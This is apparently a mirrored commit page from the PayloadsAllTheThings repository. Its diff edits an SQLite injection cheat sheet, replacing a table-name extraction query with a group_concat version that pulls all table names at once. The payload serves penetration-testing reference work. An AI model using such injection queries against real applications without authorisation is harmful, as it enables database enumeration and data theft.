gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-27 05:03:28 -08:00
Code Issues Packages Projects Releases Wiki Activity

Update SQLite Injection.md

Browse Source 
add "group_concat" so that all tables can be extracted once when the query only returns the first item
This commit is contained in:
KeoOp
2023-07-16 23:44:00 +08:00
committed by GitHub
parent cd19bb9409
commit d5f85f13d5
1 changed files with 1 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
SQL Injection/SQLite Injection.md
View File

@@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
## Integer/String based - Extract table name
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
```sql